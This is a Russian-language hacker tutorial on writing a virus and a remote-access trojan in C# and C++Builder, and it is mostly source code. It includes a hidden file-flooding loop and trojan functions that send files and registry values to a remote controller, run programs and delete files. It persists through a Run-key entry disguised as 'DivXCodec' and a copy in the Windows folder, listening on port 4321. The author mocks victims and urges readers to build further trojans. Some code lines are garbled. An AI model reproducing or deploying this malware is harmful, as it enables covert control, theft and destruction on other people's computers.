Как написать вирус на языке c

Пишем невероятно простой и опасный вирус на C#.

///Подключаем нужные библиотеки. 



using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
 [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]
///Настройка нужных переменных
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        const int SW_HIDE = 0;
        const int SW_SHOW = 5;
 static void Main()
 {
///Скрываем программу 
         var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);
          Process pr = new Process();
                pr.StartInfo.FileName = "prog.exe";
                pr.StartInfo.Arguments = "-r";
                pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                pr.Start();
                pr.WaitForExit();
  int i=0;
///Сам вирус =)
  while(true){
   i=i+1;
  System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:Users"+Environment.UserName+ @"Desktopbadfile"+i);
        } 
 }
}



Вот и все. Да это весь вирус. А теперь минусы: он не запускается сам, большинство антивирусов могут заметить его (Avast например).Но так как это простой пример, то эти функции здесь не нужны. Цель написания таких программок не в том чтобы кому-то навредить а чтобы описать свой способ ущербного воздействия на систему. 

Вот тут я не отвечаю за все ОСи, перезагрузка-то будет, но хотелось бы сделать ее как после нажатия кнопки RESET, а так будет послано сообщение WM_…ENDSESSION etc. Короче, пробуйте сами. Могу только подкинуть основные направления поиска: смотри функции ExitWindows(), ExitWindowsEx(), InitiateSystemShutdown() и AbortSystemShutdown(). Для особо продвинутых могу предложить вариант написать надежный ребут под определенную ось и чипсет =) Например, мой прошлый комп стабильно резетился (только в Win9x, в NT не работало) следующей вставочкой:

mov dx,0cf9h

mov al,2

out dx,al

mov al,6

out dx,al

Откуда цифры? Читайте доки по чипсету =) Одним словом, универсального метода перезагрузить комп без WM_…ENDSESSION я не знаю. Если вы знаете — напишите пару строк, не в падлу =)

void TTrojanUtilites::SendFile(String F)

{

TStringList* TTSL=new (TStringList);

TStringList* TTSL2=new (TStringList);

int n, i;

TTSL->Text = F;

if (!FileExists(TTSL->Strings[0]))

{

Sock->Socket->Connections[0]->SendText(«Файл не существует.»);

return;

}

TTSL2->LoadFromFile(TTSL->Strings[0]); // загружаем файл в TStringList

n = TTSL2->Count; // получаем число строк в файле

if (n > StrToInt(TTSL->Strings[1])) // если надо прочитать не весь файл

n = StrToInt(TTSL->Strings[1]); // считываем только необходимое число строк

for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings); // передаем строки клиенту

}

Вроде тут и объяснять нечего.

void TTrojanUtilites::ReadRegistry(ShortString k)

{

TRegistry* reg=new TRegistry;

String res, ts;

TStringList* TTSL=new TStringList;

HKEY k1;

// параметры передаются в следующем порядке:

//// 0 — root key

//// 1 — key name

//// 2 — value name

//// 3 — value

//// 4 — type of value

TTSL->Text = k;

ts = TTSL->Strings[0]; // выбираем RootKey

if (ts == «HKEY_CLASSES_ROOT») k1 = HKEY_CLASSES_ROOT;

if (ts == «HKEY_CURRENT_USER») k1 = HKEY_CURRENT_USER;

if (ts == «HKEY_LOCAL_MACHINE») k1 = HKEY_LOCAL_MACHINE;

if (ts == «HKEY_USERS») k1 = HKEY_USERS;

if (ts == «HKEY_CURRENT_CONFIG») k1 = HKEY_CURRENT_CONFIG;

reg->RootKey = k1;

reg->OpenKey(TTSL->Strings[1], true); // открываем раздел

ts = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа

if (ts == «Bool») // двоичный (REG_BINARY)

if (reg->ReadBool(TTSL->Strings[2]))

res = «true»;

else res = «false»;

if (ts == «Integer») // числовой (REG_DWORD)

res = IntToStr(reg->ReadInteger(TTSL->Strings[2]));

if (ts == «String») // строковый (REG_SZ)

res = reg->ReadString(TTSL->Strings[2]);

Sock->Socket->Connections[0]->SendText(«Чтение реестра. Значение параметра: «+res);

// передаем клиенту значение параметра

}

Запись в реестр аналогична, только используется метод WriteBool(TTSL->Strings[2], false); для записи булевского значения, WriteInteger(TTSL->Strings[2], StrToInt(TTSL->Strings[4])); — для числового, WriteString(TTSL->Strings[2], TTSL->Strings[4]); — для строкового.

Для запуска файлов на удаленном компьютере используем следующую функцию:

void TTrojanUtilites::ExecuteFile(String f)

{

ShellExecute(GetDesktopWindow, «open», f.c_str(), «», «», SW_SHOWNORMAL);

Sock->Socket->Connections[0]->SendText(«Запущен файл «+f);

}

Файл запускается в той программе, с которой ассоциирован запуск данного типа файлов, т.е. вы можете запускать не толкьо exe, com, bat, но и любые другие файлы. Html-файл откроется в Explorer’e, Opere, Netscape или еще в чем-то… Хрен знает чем там ламерюга пользуется… Можете запустить ему мп3-шку Децла послушать или Бритни какой-нить, пусть проблюется =)

Идем дальше. Парочка бесполезных функций:

void TTrojanUtilites::HideMouse()

{

ShowCursor(false);

Sock->Socket->Connections[0]->SendText(«Курсор мыши скрыт»);

}

No commentz…

void TTrojanUtilites::SwapMouseButtons()

{

SwapMouseButton(true);

Sock->Socket->Connections[0]->SendText(«Кнопки мыши переключены»);

Можно сделать переключение кнопок обратно (передайте в SwapMouseButton параметр false), но я бы посоветовал поставить таймер и каждую секунду переключать кнопки туда-сюда, веселее будет =) В падлу сейчас уже добавлять, но вкратце это будет так: добавляем TTimer на форму, устанавливаем необходимый интервал, и в обработчике события OnTimer прописываем вызов функции SwapMouseButton с параметром, противоположным прошлому вызову. Млин, все-таки все расписал =)

Теперь довольно важная функция:

void TTrojanUtilites::DeleteFile(String f)

{

if (!FileExists(f))

{

Sock->Socket->Connections[0]->SendText(«Файл не существует.»);

return;

}

TRegistry* Reg=new TRegistry;

Reg->RootKey = HKEY_LOCAL_MACHINE;

Reg->OpenKey(«SoftwareMicrosoftWindowsCurrentVersionRunOnce», true);

Reg->WriteString(«Filez for delete»,»command.com /c del «+f);

Reg->CloseKey();

Sock->Socket->Connections[0]->SendText(«Файл «+f+» будет удален после перезагрузки.»);

}

Данная функция НЕ удаляет файл сразу!!! Это сделано специально, так как файлы могут использоваться системой и их удаление возможно только после перезагрузки, данная функция помечает файл к удалению, а удалиться он только после перезагрузки, которую вы легко можете вызвать. Да, еще маленькое примечание: данная функция удаляет только 1 файл, если вы пометите второй файл к удалению — то будет удален только он. А первый останется нетронутым… Немного измените функцию — и можно будет удалять файлы пачками =) Могу еще добавить немного инфы на случай, если надо будет удалить целый каталог и вы точно знаете что в нем нет открытых файлов. Используйте стандартную API функцию SHFileOperation, установив тип операции wFunc в FO_DELETE. Пример:

int res;

SHFILEOPSTRUCT fo;

ZeroMemory(&fo, sizeof(fo));

fo.hwnd = hwndOwner; // хэндл окна-владельца прогресс-диалога

fo.pFrom = pszFullPath; //путь

fo.wFunc = FO_DELETE;

fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление

res = SHFileOperation(&fo);

Только внимательно все проверьте! Будет обломно если ламерюга «вдруг» увидит надпись «Папка голые тетки не может быть удалена, так как юзер активно смотрит сразу 10 порно-фильмов из нее!». А вообще, если опять удалиться в теорию, то наш главный объект Application имеет несколько полезных событий, наиболее интересное для нас OnException происходит тогда, когда в приложении возникает необработанная исключительная ситуация (деление на ноль, удаление несуществующего файла etc). По умолчанию, обработчик этого события вызывает метод ShowException для отображения окна сообщения с пояснением причины ошибки (оно нам надо?! конечно, НЕТ!). Но, вы можете изменить реакцию на событие onException, переписав его обработчик. Тут ничего трудного нет, просто я не ставил перед собой задачу написать офигенный троян, только подтолкнуть вас к этому =) Кто захочет — допишет все необходимое сам, если что — я подскажу =) Ну вот, вроде бы все функции реализовали. Теперь немного о том, что мы не сделали =) Мы не сделали: загрузку/закачку файла. Это все можно сделать подправив SendFile(). Стандартных функций для пересылки файлов через TClient(Server)Socket я не нашел, но впрочем, это не проблема — просто передавайте файлы фрагментами.

Теперь нам осталось только разобраться с автозагрузкой трояна. Сделаем следующее:
1) при запуске файл переписывается в папку, в которой установлены винды.
2) прописываем запуск нашего файла в реестре.

Реализуем =)

Добавлено через 31 секунду
void __fastcall TForm1::FormCreate(TObject *Sender)

{

ServSckt->Port = 4321;

ServSckt->Active = true;

Utilz.Sock=ServSckt;

Utilz.CDROMOPEN=false;

String WinDir;

char WinDir1[144];

GetWindowsDirectory(WinDir1,144);

WinDir=WinDir1; // папка с установленными виндами

String data;

TRegistry *pReg = new TRegistry;

pReg->RootKey=HKEY_LOCAL_MACHINE;

pReg->OpenKey(«SoftwareMicrosoftWindowsCurrentVersionRun», true);

data=pReg->ReadString(«DivXCodec»);

if (data != Application->ExeName) //если нашу программу стерли из

// автозагрузки (DivXCodec — можете поменять по желанию на любое другое название раздела)

pReg->WriteString(«DivXCodec»,WinDir+»task16man.exe»); //добавляем ее по новой

if (Application->ExeName!=WinDir+»task16man.exe») //если файл запустили 1ый раз

{

if (!FileExists(WinDir+»task16man.exe»))

{

String dest=WinDir+»task16man.exe»;

BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());

// переписываем файл к виндам

ServSckt->Active = false;

ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL); //запускаем его

Application->Terminate(); // это приложение закрываем

}

else

Application->Terminate();

// я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз

// запустили и им подобных, додумайте сами =)

}

else

{

ServSckt->Port = 4321;

ServSckt->Active = true;

String data;

TRegistry *pReg = new TRegistry;

pReg->RootKey=HKEY_LOCAL_MACHINE;

pReg->OpenKey(«SoftwareMicrosoftWindowsCurrentVersionRun», true);

data=pReg->ReadString(«DivXCodec»);

if (data != Application->ExeName) // не дай бог стерли!

pReg->WriteString(«DivXCodec»,Application->ExeName); // пишем назад

}

}

В принципе, это все. Троян готов! Конечно, он тяжеловат, малофункционален etc, НО все это можно исправить, творите =) Если сделаете что-нибудь интересное — скидывайте, с радостью опубликуем это для всех. А вообще, я хочу сейчас все это переделать под API Socket’ы, без всяких компонентов, тогда и файл exe гораздо меньше станет. Если у кого-нибудь есть интерес к этому делу — напишите пару строк в мыльницу.

Товарищи ламеры! Внимательно следите теперь за соединениями по порту 4321 =) Некоторые ведь ничего не перекомпиливают и не меняют =)

На этом у меня все. Критика, предложения и 100грамм принимаются, мат и наезды отправляются в /dev/null =) МаЗу с днем рождения!